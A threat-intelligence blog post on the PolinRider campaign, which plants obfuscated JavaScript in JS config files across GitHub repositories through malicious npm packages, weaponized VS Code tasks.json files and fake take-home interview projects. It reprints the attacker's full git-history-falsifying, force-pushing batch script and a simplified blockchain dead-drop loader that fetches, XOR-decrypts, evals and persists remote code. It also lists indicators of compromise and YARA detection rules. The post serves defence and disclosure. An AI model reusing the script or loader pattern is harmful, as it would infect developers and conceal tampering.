PolinRider: DPRK Threat Actor Implants Malware in Hundreds of GitHub Repos

• Date: 2026-03-07
• Last updated: 2026-04-11 — see April 10–11 Update below
• Severity: CRITICAL — active supply chain infection across 1,950+ public repositories, confirmed operational merger with the TasksJacker / Contagious Interview cluster

The OpenSourceMalware team has uncovered a massive threat campaign that is implanting malware in GitHub users and organizations repositories. The threat actor, PolinRider, has implanted a malicious obfuscated JavaScript payloads in hundreds public GitHub repositories belonging to hundreds unique owners. Use the #polinrider to see all threat reports related to this campaign, and jump to the end of this blog for the list of compromised repositories, including ones we recommend prioritising for immediation action. Keep in mind that the tag is the best way to get current data.

The JavaScript payload is appended to the end of real project config files — silently, after the file's legitimate content — making it easy to miss during casual code review. The primary infection vector appears to be a compromised npm package that executes during install or build and injects itself into config files in the project root. Even worse, this threat actor has used the same technique to craft malicious NPM packages as well.

This attack has been enormously successful, with one compromised open source project, Neutralinojs spreading the malware to hundreds of its users and contributors. Neutralinojs is a very popular project with 8400 stars, 495 forks, and dozens of active contributors. This is the power of this type of attack, as the threat isn't limited to just the initial GitHub repositories, but extends to all the other projects that use that open source.

The OpenSourceMalware team has attributed this campaign to the DPRK, and the threat actor PolinRider is a known Lazarus group contributor with connections to "Contagious Interview" and "TasksJacker" campaigns.

Impact Statistics

This campaign has grown dramatically since first publication. As of 2026-04-11, the OSM team has confirmed 1,951 public GitHub repositories belonging to 1,047 unique owners are compromised. This is a 2.9× increase in the five weeks since the original publish date (Mar 8: 675 repos / 352 owners).

April 10–11 Update

In a follow-up hunt started 2026-04-10 and continued into 2026-04-11, the OSM team made several major findings:

1. The campaign has more than doubled in 5 weeks. Cross-engine enumeration via GitHub Code Search and Sourcegraph (with refinement past the API's 1000-result cap — see methodology below) surfaced 1,556 unique compromised repos in our v3 master on day one. A round-2 hunt on day two added another 215 new repos via npm-package-name pivots, VS Code tasks.json / cloud-provider pivots, and the newly-discovered default-configuration.vercel.app C2 subdomain. After deduping against the existing affected_repos.csv corpus, the true known scope is now 1,951 unique victim repos / 1,047 unique owners.

2. A new variant has been observed. PolinRider has rotated all unique fingerprints of its obfuscator while preserving the architecture. The new variant uses signature marker Cot%3t=shtP (was rmcej%otb%), shuffle seed 1111436 (was 2857687), secondary seed 3896884 (was 2667686), and decoder function name MDy (was _$_1e42). This rotation appears to be an evasion response to the published . Both variants are currently active in the wild. See below.

The full v3 + round 2 hunt reports and master TSVs are in reports/.

GitHub Attack Details

The threat actor is not using stolen GitHub credentials. Instead, the vicims have been compromised via a malicious VS Code extension or NPM package. We don't know yet what that initial vector is, but we know what it does from the forensic evidence.

The first thing that happens is the malware executes a search function on the local computer that looks for certain files like:

• postcss.config.mjs
• tailwind.config.js
• eslint.config.mjs
• next.config.mjs
• babel.config.js
• App.js
• app.js

If it finds one of those files it will append heavily obfuscated malicious JavaScript code to the end of that file. Next, the malware installs a Windows batch file, named temp_auto_push.bat. We know this file exists and what it does because the threat actors have left it on hundreds of compromised servers which gives researchers a fingerprint to search for. Here's the batch file in its entirety:

@echo off
for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A
for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A
for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A
echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
echo %LAST_COMMIT_TEXT%
echo %USER_NAME% (%USER_EMAIL%)
echo Branch: %CURRENT_BRANCH%
set CURRENT_DATE=%date%
set CURRENT_TIME=%time%
date %LAST_COMMIT_DATE%
time %LAST_COMMIT_TIME%
echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
git config --local user.name %USER_NAME%
git config --local user.email %USER_EMAIL%
git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
date %CURRENT_DATE%
time %CURRENT_TIME%
echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit!
git push -uf origin %CURRENT_BRANCH% --no-verify
@echo on

Batch File Analysis

This batch file rewrites the most recent git commit while preserving its original timestamp — effectively making an amended commit look like it was never touched.

Phase 1: Extract Last Commit Metadata

It runs git log -1 five times to pull the last commit's details into environment variables:

Phase 2: Display Extracted Info

Echoes those values to the console so you can see what was captured before proceeding.

Phase 3: The Timestamp Trick (Core Manipulation)

1. Saves the current system date and time to variables
2. Changes the Windows system clock to match the last commit's date and time
3. Sets the local git user.name and user.email to match the original commit's author

Phase 4: Amend the Commit

git add .
git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify

Because the system clock was rewound, git records the amended commit with the original timestamp, making it appear unmodified in history. --no-verify bypasses any pre-commit hooks.

Phase 5: Restore and Push

1. Restores the system clock to the real current date/time
2. Force-pushes to the remote branch with -uf and --no-verify to bypass push hooks

In Plain Terms

This script lets you silently modify the last commit (adding or changing files) while making the rewritten commit appear to have the same author, timestamp, and message as before. To any observer looking at git history, it looks like the commit was never amended.

Notable Characteristics

• Requires elevated privileges to change the Windows system clock
• Force push (-uf) will overwrite remote history — destructive to anyone else on the branch
• Both --no-verify flags intentionally bypass any CI/CD hooks or lint checks
• It is essentially a history-falsification tool — useful for legitimate cleanup, but equally useful for covering tracks

What about Linux and MacOS?

We assume the malware has similar functions to rewrite git history for other operating systems like Linux and MacOS. In fact, we've seen evidence its happening on other OSes, but the threat actors have not left tools that work on those other platforms in the source code like they have for Windows.

Recommended Actions

For affected repo owners:

1. Audit all JS config files (postcss.config.*, tailwind.config.*, eslint.config.*, next.config.*, vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, etc.) for content appearing after export default or module.exports. Also check non-default branches and nested monorepo paths (apps/*/, frontend/, client/, web/, etc.) — many victims are infected only in deep paths.

For security tooling / registries:

• Add the multi-variant polinrider_payload YARA rule (below) to static analysis pipelines — covers both rmcej%otb% and Cot%3t=shtP variants.
• Flag packages with postinstall scripts that write to project root config files.
• Cross-reference affected repo owners against recently published npm packages, especially in the Tailwind / PostCSS ecosystem.
• Add filename:temp_auto_push.bat and LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat as continuous monitoring queries on GitHub Code Search.

Check for PolinRider with OSM script

Our team has written a bash script that will check your local system for compromise. At the end of this blog post you can find out more, or you can checkout the script here

Infected File Types

The April 10 update significantly expanded the file-type list. The malware targets a wider set of JS-family files than originally documented, and has been observed inside binary assets like .woff2 font files. Counts below reflect the 2026-04-10 corpus of 1,736 unique repos.

The dominance of postcss.config.mjs (~62% of repos in both data points) continues to point at the PostCSS / Tailwind ecosystem as the primary infection vector. The newly observed entries — vite.config.*, webpack.config.js, gridsome.config.js, vue.config.js, truffle.js, and binary .woff2 files — show the malware has expanded its file-targeting heuristics or that the threat actor is using multiple npm-package vehicles to reach victims using different build tooling.

The propagation-script artifact temp_auto_push.bat has been left behind in 101 victim repos, even in cases where the JS payload has since been cleaned up by the owner. This file is one of the highest-confidence indicators of past compromise.

Malicious NPM Packages

The threat actor has published several malicious NPM packages, all impersonating Tailwind / PostCSS adjacent utilities. As of 2026-04-11, the allavin and blackedward npm accounts have both been deleted from npm and their packages scrubbed, but the existing victim repos still carry the dependency references and (in many cases) still have the post-install-injected malware in their config files.

The April 11 hunt confirmed that tailwindcss-style-animate ^1.1.6 is the primary malicious dependency of the ShoeVista fake-interview template — 34 of the 46 npm-package-pivot hits are developer reuploads of that template with that exact dependency. The other packages in the list are used by sibling campaigns (e.g. tailwind-autoanimation in the devhire-frontend cluster and reactapp-6).

Investigators looking to pivot via the npm dependents tree should note that this pivot is no longer viable for tailwind-mainanimation — npm has scrubbed the live malicious release. Pivot instead via "<package_name>" filename:package.json GitHub Code Search queries, which still return the ghost references in victim repos.

The tailwind-autoanimation package uses the same exact technique of appending the malicious JavaScript payload onto the end of the entrypoint file src/index.js:

Malware Summary

PolinRider delivers a multi-stage payload, that culminates in a new version of the DPRK Beavertail malware. The initial payload is a mass-compromise backdoor/infostealer that injects an obfuscated JavaScript payload into legitimate developers' repositories. The payload is appended after whitespace padding to common config files (postcss.config.mjs, eslint.config.mjs, tailwind.config.js, etc.) so it executes automatically when build tools import the module. It uses a multi-layer string shuffling deobfuscation routine, ultimately constructing and eval'ing the final payload at runtime.

The OSM team has so far observed two active variants of this obfuscator with rotated unique fingerprints:

• Original variant (Mar 8 publication): signature ("rmcej%otb%",2857687), decoder function _$_1e42, secondary seed 2667686, injection marker global['!'].
• New variant (Apr 10 update): signature Cot%3t=shtP, shuffle seed 1111436, decoder function MDy, secondary seed 3896884, injection marker global['_V']='8-XXX'. Same architecture, all unique constants rotated — almost certainly an evasion response to the published rmcej_otb_payload YARA rule.

Both variants use the same blockchain dead-drop C2 infrastructure (TRON / Aptos / BSC) with the same XOR keys, and both are currently active in the wild.

This final payload is a sophisticated blockchain-based dead drop resolver that uses immutable blockchain transactions as Command & Control (C2) infrastructure. The malware fetches encrypted JavaScript payloads from blockchain accounts (TRON, Aptos, and BSC), decrypts them using XOR encryption, and executes them via eval(). This technique makes the C2 infrastructure virtually impossible to take down since blockchain data is immutable.

What Does It Do?

Primary Functionality

1. Blockchain-Based C2 Communication

   • Queries TRON blockchain accounts for transaction data
   • Falls back to Aptos blockchain if TRON fails
   • Can query Binance Smart Chain (BSC) transactions
   • Retrieves encrypted JavaScript payloads from blockchain transactions

2. Payload Decryption

   • Uses XOR cipher with hardcoded keys to decrypt payloads
   • Two different XOR keys for different stages/fallbacks

3. Remote Code Execution

   • Executes decrypted code via eval()
   • Spawns detached child processes for persistence
   • Code execution happens with no user interaction

4. Anti-Analysis Features

   • Multiple layers of obfuscation (4+ layers)
   • String encryption and character substitution
   • Dead drop resolver technique (hard to attribute)
   • Detached process execution (survives parent termination)

Malware Technical Analysis

The OSM team described the complete attack chain for this malware in our blog on the recent Neutralinojs compromise.

Obfuscation Layers

The malware uses four layers of obfuscation:

Layer 1: Character swap algorithm with seed 2857687

• Deobfuscates to array: ['r', 'object', 'm'] (require, typeof check, module)

Layer 2: Character swap with seed 2667686

• Deobfuscates function names and string constants
• Reveals the decoder function code

Layer 3: Custom substitution cipher

• Character mapping using special codes
• Replaces placeholders like .c, .a, etc. with actual characters
• Character codes: \, `, space, newline, *, ', and more

Layer 4: XOR encryption for final payloads

• Payloads retrieved from blockchain are XOR-encrypted
• Two hardcoded keys for different stages

New Variant: Cot%3t=shtP

In April 2026 the OSM team identified a second active variant of the PolinRider obfuscator. The architecture is identical to the original — same 4-layer shuffle-cipher, same blockchain dead-drop C2, same multi-stage Beavertail second-stage — but every unique fingerprint string has been rotated, almost certainly in response to the published rmcej_otb_payload YARA rule.

The new variant uses an additional injection marker line: global['_V']='8-XXX' (where 8-XXX is a per-injection version tag, e.g. 8-st1, 8-st2, …, 8-st59, plus a parallel numeric batch like 8-413, 8-683, 8-778, 8-974). The sequential '8-stN' tags are the OSM team's strongest evidence that the threat actor's tooling assigns a numeric ID per victim and that at least 59 sequential injections of this variant exist (some not yet indexed by public code search).

Notable cross-variant finding

At least one repository — HassanHabibTahir/testclient — contains markers from BOTH variants in different files (rmcej%otb% in postcss.config.mjs and global['_V'] in another file), indicating the threat actor's tooling is re-running against previously-compromised hosts with the rotated obfuscator. Defenders should not assume that a once-cleaned repo remains clean.

Weaponized Take-Home Templates

In addition to the npm-package and .vscode/tasks.json delivery vectors, the PolinRider threat actor has authored at least two fake take-home test projects distributed to candidates via fake job-interview lures (the classic Contagious Interview playbook). These project templates ship pre-loaded with malicious dependencies or tasks.json payloads so that simply cloning and running the project triggers the infection.

ShoeVista (Tailwind e-commerce template)

• Template name: ShoeVista (also seen as shoevista, shoe-vista, Test-west-shoe, Test-002, product-catalog, mern-app, various candidate-named forks)
• Stack: React frontend in client/, Node/Express backend in server/ (typical MERN take-home)
• Delivery vector: Malicious npm dependency "tailwindcss-style-animate": "^1.1.6" in client/package.json
• Package.json name field: "client" (generic — the ShoeVista branding is in the README / fake-company landing page)

StakingGame (VS Code + blockchain automation template)

• Template fingerprint: the tasks.json file contains "projectInfo": { "name": "StakingGame", "description": "Advanced VSCode automation for multi-environment blockchain deployment.", "uuid": "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" } — the UUID is constant across all victims and is the strongest indicator of this template
• Delivery vector: Weaponized .vscode/tasks.json with runOn: folderOpen executing curl | bash against default-configuration.vercel.app and the other newly-discovered Vercel C2 subdomains
• Observed victim repos: 42+ direct UUID matches plus broader tasks.json usage. Examples: Devba/lmng-top-, wyrustaaruz/cal-eco-platform
• Theme: positioned as a blockchain / staking-game developer assessment; appeals to Web3 candidates

Implications

The existence of pre-weaponized template projects means:

• Developers finishing "take-home tests" from unvetted recruiters are a primary infection vector. This isn't just a supply-chain attack on npm; it's a social-engineering attack on the job market.
• The victim accounts are not previously-compromised developers. They are fresh candidate accounts created specifically to complete a test. This explains the large number of 0-star / 0-fork victim repos with account ages < 1 year.
• Defenders hunting for victims should include candidate-naming patterns (test-*, *-test, *-interview, *-assessment, *-task) in their search heuristics.

Execution Flow

1. Malware loads when NPM package is imported or the source code is run by Node
2. Deobfuscates internal strings and function names
3. Queries TRON blockchain account for latest transaction
   ├─ URL: https://api.trongrid.io/v1/accounts/TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP/transactions
   └─ Extracts transaction data containing encrypted payload
4. If TRON fails, queries Aptos blockchain
   ├─ URL: https://fullnode.mainnet.aptoslabs.com/v1/accounts/0xbe037.../transactions
   └─ Extracts payload from transaction arguments
5. XOR-decrypts the payload using key "2[gWfGj;<:-93Z^C"
6. Executes decrypted code via eval()
7. Spawns detached child process for persistence
   ├─ Command: node -e "<malicious code>"
   └─ Detached: true, windowsHide: true
8. If first set fails, repeats with secondary addresses and key

Code Structure

// Simplified structure (actual code is heavily obfuscated)

async function fetchPayloadFromTron(address) {
    // Queries TRON API for account transactions
    const response = await https.get(
        `https://api.trongrid.io/v1/accounts/${address}/transactions?only_confirmed=true&only_from=true&limit=1`
    );
    // Extracts encrypted data from transaction
    return response.data[0].raw_data.data;
}

async function fetchPayloadFromAptos(txHash) {
    // Queries Aptos API for transaction details
    const response = await https.get(
        `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${txHash}/transactions?limit=1`
    );
    // Extracts payload from transaction arguments
    return response[0].payload.arguments[0];
}

function xorDecrypt(encryptedData, key) {
    // XOR decryption with repeating key
    let result = '';
    for (let i = 0; i < encryptedData.length; i++) {
        const keyChar = key.charCodeAt(i % key.length);
        result += String.fromCharCode(encryptedData.charCodeAt(i) ^ keyChar);
    }
    return result;
}

// Main execution
const encryptedPayload = await fetchPayloadFromTron("TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP");
const decryptedCode = xorDecrypt(encryptedPayload, "2[gWfGj;<:-93Z^C");
eval(decryptedCode);  // EXECUTES ARBITRARY CODE

// Persistence via detached child process
require('child_process').spawn('node', ['-e', `global['_V']='...'${decryptedCode}`], {
    detached: true,
    stdio: 'ignore',
    windowsHide: true
});

C2 Infrastructure (Indicators of Compromise)

Vercel-hosted HTTP C2 endpoints (TasksJacker-side vector)

Used in .vscode/tasks.json curl | bash payloads with runOn: folderOpen. All follow the URL shape https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. These are the attacker-controlled bootstrap servers that deliver the PolinRider JS loader to VS Code victims.

All five of the vscode-* / default-configuration domains were discovered in the April 10–11 hunt and are now part of the OSM hunting query set. Expect more sibling subdomains as Vercel domains are cheap / disposable to the threat actor.

Blockchain Addresses (PolinRider-JS-loader second-stage dead-drop)

TRON Addresses (Primary C2)

• TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP (Primary)
• TXfxHUet9pJVU1BgVkBAbrES4YUc1nGzcG (Secondary)

API Endpoint: https://api.trongrid.io/v1/accounts/

Aptos Transaction Hashes (Fallback C2)

• 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e (Primary)
• 0x3f0e5781d0855fb460661ac63257376db1941b2bb522499e4757ecb3ebd5dce3 (Secondary)

API Endpoint: https://fullnode.mainnet.aptoslabs.com/v1/accounts/

BSC RPC Nodes

• bsc-dataseed.binance.org
• bsc-rpc.publicnode.com

Method: eth_getTransactionByHash

XOR Decryption Keys

• Primary Key: 2[gWfGj;<:-93Z^C
• Secondary Key: m6:tTh^D)cBz?NM]

StakingGame template UUID

• e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9 — appears in the projectInfo.uuid field of the malicious .vscode/tasks.json for the StakingGame fake-interview template. Highly specific; 0 false positives in testing.

YARA Rule (Suggested) — covers both variants

The original rmcej_otb_payload rule (still valid for the original variant) has been superseded by a multi-variant rule that catches both the original rmcej%otb% strain and the rotated Cot%3t=shtP strain. Use this in static analysis pipelines.

rule polinrider_payload {
    meta:
        description = "Detects PolinRider shuffle-cipher JS payloads — both rmcej%otb% (v1) and Cot%3t=shtP (v2) variants"
        author = "OpenSourceMalware.com"
        date = "2026-04-10"
        severity = "high"

    strings:
        // Original variant (rmcej%otb%)
        $marker_v1   = "rmcej%otb%"
        $seed1_v1    = "2857687"
        $seed2_v1    = "2667686"
        $varname_v1  = "_$_1e42"
        $global_bang = "global['!']"

        // New variant (Cot%3t=shtP)
        $marker_v2   = "Cot%3t=shtP"
        $seed1_v2    = "1111436"
        $seed2_v2    = "3896884"
        $varname_v2  = "MDy"
        $global_V    = "global['_V']"

        // Common across variants
        $global_r    = "global['r'] = require"
        $global_m    = "global['m'] = module"

    condition:
        any of ($marker_*) or
        ($global_bang and ($seed1_v1 or $varname_v1)) or
        ($global_V    and ($seed1_v2 or $varname_v2)) or
        ($global_r and $global_m and (any of ($seed1_*)))
}

YARA Rule (Legacy) — original variant only

rule rmcej_otb_payload {
    meta:
        description = "Detects rmcej%otb% shuffle-cipher JS payload injected into config files (original variant only)"
        author = "OpenSourceMalware.com"
        date = "2026-03-07"
        severity = "high"

    strings:
        $marker   = "rmcej%otb%"
        $global   = "global['!']"
        $seed1    = "2857687"
        $seed2    = "2667686"
        $varname  = "_$_1e42"

    condition:
        $marker or ($global and $seed1) or ($varname and $seed2)
}

Data Collection (Mar 8 — original method)

Data was collected using the GitHub Code Search API via gh search code, running one query per infected filename to work around the 1,000-result-per-query cap. Results were deduplicated by repository full name.

Refinement Methodology (Apr 10 — expanded method)

The April 10 hunt expanded the data collection by combining five orthogonal pivots and applying a partition-by-extension/size/fork strategy to push past GitHub Code Search's 1,000-result-per-query cap on the most powerful pivot.

Pivots used in the April 10–11 hunt

Pushing past the 1,000-result cap

The _$_1e42 decoder-function-name query reported total_count: 968 and capped at 1,000 returned items, but the GitHub web UI showed 1,400+ matches. Refining into orthogonal sub-queries that each stay under 1,000 results, then taking the union, broke the cap:

Three crucial findings from this exercise:

1. The single biggest hidden gap was forks. GitHub Code Search excludes forks by default (fork:false). Adding fork:true revealed 157 fork repos containing the marker that were completely invisible to the original query.
2. Sub-bucketing the size:5000..10000 range by 1KB slices yielded 986 results vs. the bucket's reported 968 — even within a sub-1000 reported total, the cap can hide entries. The right approach is recursive bucketing until each bucket is well under the cap.
3. extension: splits yield more total results than language: splits because GitHub's language detection sometimes excludes .mjs and .cjs from the JavaScript bucket.

Cross-engine union (true scope)

Combining the April 10–11 hunt data with the existing affected_repos.csv yields the true currently-known corpus:

Sample-verified false positive rate

Across 44 random samples taken across both rounds of the hunt, 0 false positives were observed. Every sampled repo contained at least one of the PolinRider invariants (rmcej%otb%, Cot%3t=shtP, _$_1e42, MDy, global['!'], global['_V'], LAST_COMMIT_DATE inside a propagation .bat, a known malicious npm package in package.json, or a .vscode/tasks.json with a curl | bash to one of the known C2 subdomains) in the file at the indexed pivot path.

Round 2 specifically introduced two new variant classifications in the submission taxonomy:

• malicious_npm: the repo contains one of the 7 known malicious npm packages in a package.json (45 submissions — almost all ShoeVista template reuploads).
• tasksjacker: the repo contains a .vscode/tasks.json with a runOn: folderOpen task executing curl | bash or wget | sh against a Vercel/Render/Railway C2 subdomain (27 submissions — includes the StakingGame template cluster).

Files

Compromised Repositories

All compromised repositories can be found through the OpenSourceMalware tag #polinrider.

Outreach Prioritisation

The full CSVs are sorted by impact for triage.

Top Repos by Stars + Forks

Top Organisations by Followers

Top Individual Users by Followers

Priority targets: sparktechagency (130 followers, 12 repos) and FSDTeam-SAA (21 followers, 12 repos) are the highest-volume orgs. Among individuals, coderkhalide (349 followers) has the widest direct reach.

All Compromised Repositories as of March 8, 2026

Read more